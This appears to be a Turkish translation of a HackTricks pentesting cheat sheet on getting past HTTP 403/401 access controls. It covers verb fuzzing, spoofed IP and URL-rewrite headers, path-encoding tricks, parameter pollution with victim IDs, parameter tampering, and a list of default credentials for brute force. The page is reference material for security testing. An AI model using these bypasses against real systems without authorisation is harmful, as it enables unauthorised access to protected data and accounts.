403 & 401 Bypass'ları
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HTTP Fiilleri/Yöntemleri Fuzzing
Dosyaya erişmek için farklı fiiller kullanmayı deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, HEAD için 200 yanıtı ve
Content-Length: 55
demek ki HEAD fiili bilgiye erişebilir. Ama bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekiyor. X-HTTP-Method-Override: PUT
gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.TRACE
fiilini kullanın ve çok şanslıysanız belki yanıt içinde ara proxy'ler tarafından eklenen başlıkları görebilirsiniz, bu başlıklar faydalı olabilir.
HTTP Başlıkları Fuzzing
-
Host başlığını rastgele bir değere değiştirin (burada işe yaradı)
-
Kaynağa erişmek için diğer Kullanıcı Araçlarını kullanmayı deneyin.
-
HTTP Başlıklarını Fuzzing: HTTP Proxy Başlıkları, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için fuzzhttpbypass aracını oluşturdum.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Eğer yol korunuyorsa, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
Eğer sayfa bir proxy'nin arkasındaysa, belki de proxy, özel bilgilere erişmenizi engelliyordur. HTTP İstek Kaçırma veya hop-by-hop başlıkları** kötüye kullanmayı deneyin.**
-
Farklı yanıtlar aramak için özel HTTP başlıklarını fuzzing yapın.
-
HTTP Yöntemlerini fuzzing yaparken özel HTTP başlıklarını fuzzing yapın.
-
Host başlığını kaldırın ve belki de korumayı aşabileceksiniz.
Yol Fuzzing
Eğer /path engellenmişse:
/%2e/path
kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca/%252e**/path
(çift URL kodlaması) deneyin.- Unicode bypass deneyin: /%ef%bc%8fpath (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında //path olacak ve belki de /path adı kontrolünü aşmış olacaksınız.
- Diğer yol bypass'ları:
- site.com/secret –> HTTP 403 Yasak
- site.com/SECRET –> HTTP 200 Tamam
- site.com/secret/ –> HTTP 200 Tamam
- site.com/secret/. –> HTTP 200 Tamam
- site.com//secret// –> HTTP 200 Tamam
- site.com/./secret/.. –> HTTP 200 Tamam
- site.com/;/secret –> HTTP 200 Tamam
- site.com/.;/secret –> HTTP 200 Tamam
- site.com//;//secret –> HTTP 200 Tamam
- site.com/secret.json –> HTTP 200 Tamam (ruby)
- Aşağıdaki durumlarda bu listeyi kullanın:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Diğer API bypass'ları:
- /v3/users_data/1234 --> 403 Yasak
- /v1/users_data/1234 --> 200 Tamam
- {“id”:111} --> 401 Yetkisiz
- {“id”:[111]} --> 200 Tamam
- {“id”:111} --> 401 Yetkisiz
- {“id”:{“id”:111}} --> 200 Tamam
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)
Parametre Manipülasyonu
- param değerini değiştirin:
id=123
-->id=124
- URL'ye ek parametreler ekleyin:
?
id=124
—->id=124&isAdmin=true
- Parametreleri kaldırın
- Parametrelerin sırasını değiştirin
- Özel karakterler kullanın.
- Parametrelerde sınır testi yapın — -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).
Protokol versiyonu
HTTP/1.1 kullanıyorsanız 1.0 kullanmayı deneyin veya 2.0'ı destekleyip desteklemediğini test edin.
Diğer Bypass'lar
- Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.
- Sunucuyu zorlayın yaygın GET istekleri göndererek (Bu adam için işe yaradı).
- Protokolü değiştirin: http'den https'ye veya https'den http'ye.
- https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.
Brute Force
- Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı?
- Brute force: Temel, digest ve NTLM kimlik doğrulamasını deneyin.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Otomatik Araçlar
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.